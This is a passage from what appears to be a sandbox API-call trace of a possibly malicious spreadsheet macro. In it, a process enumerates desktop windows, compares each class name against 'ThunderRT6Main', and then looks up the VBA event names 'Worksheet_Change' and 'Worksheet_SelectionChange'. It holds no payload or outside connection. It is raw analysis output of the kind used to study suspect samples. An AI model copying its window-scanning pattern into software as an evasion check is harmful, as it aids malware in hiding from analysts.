uCmd=0x2) returned 0x10172 [0093.625] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0093.625] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0093.625] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0093.625] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0093.625] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0093.625] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0093.625] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0093.625] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0093.625] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0093.625] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0093.625] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0093.625] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0093.625] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0093.625] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0093.625] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0093.625] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0093.625] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0093.625] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0093.625] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0093.625] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0093.625] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0093.625] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0093.626] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0093.626] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0093.626] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0093.626] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0093.626] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0093.626] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0093.626] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0093.626] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0093.626] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0093.626] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0093.626] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0093.626] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0093.626] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0093.626] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0093.626] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0093.626] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0093.626] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0093.626] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0093.626] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0093.626] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0093.626] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0093.626] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0093.626] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0093.627] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0093.627] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0093.627] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0093.627] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0093.627] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0093.627] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0093.627] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0093.627] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0093.627] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0093.627] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0093.627] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0093.627] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0093.627] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.627] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0093.627] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0093.627] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.627] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0093.627] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0093.627] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0093.627] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0093.627] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0093.627] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0093.627] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.627] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0093.627] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0093.627] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0093.628] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0093.628] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0093.628] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0093.628] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0093.628] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.628] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0093.628] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.628] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0093.628] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0093.628] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.628] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0093.628] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.628] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0093.628] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.628] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0093.628] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0093.628] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.628] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0093.628] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0093.628] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0093.628] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0093.628] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.628] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0093.628] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.628] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.629] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0093.629] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.629] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0093.629] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0093.629] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0093.629] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0093.629] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0093.629] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0093.629] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0093.629] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0093.629] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0093.629] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0093.629] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0093.629] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0093.629] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.629] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0093.629] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0093.629] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0093.630] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.630] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0093.630] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.630] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.630] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0093.630] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0093.630] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.630] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.630] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.630] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0093.630] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.630] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.630] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.630] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0093.630] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.630] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.630] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.630] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0093.630] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0093.631] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0093.631] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.631] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0093.631] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0093.631] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0093.631] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0093.631] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0093.631] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.631] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.632] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0093.632] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0093.632] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0093.632] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0093.632] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0093.633] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0093.633] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.633] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0093.633] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0093.633] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0093.633] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.633] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0093.633] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0093.633] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.633] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0093.633] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0093.633] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.633] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0093.633] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.633] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.633] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0093.633] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0093.633] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0093.633] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0093.633] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0093.633] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0093.633] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0093.633] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0093.633] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.634] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0093.634] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0093.634] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.634] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0093.634] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0093.634] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0093.634] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0093.634] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0093.634] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0093.634] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0093.634] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0093.634] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.634] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0093.634] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5963830 [0093.635] IMalloc:Free (This=0x7fefe465380, pv=0x5963830) [0093.881] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0093.881] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0093.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0093.881] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0093.881] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0093.881] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0093.897] _mbscpy_s (in: _Dst=0x20df00, 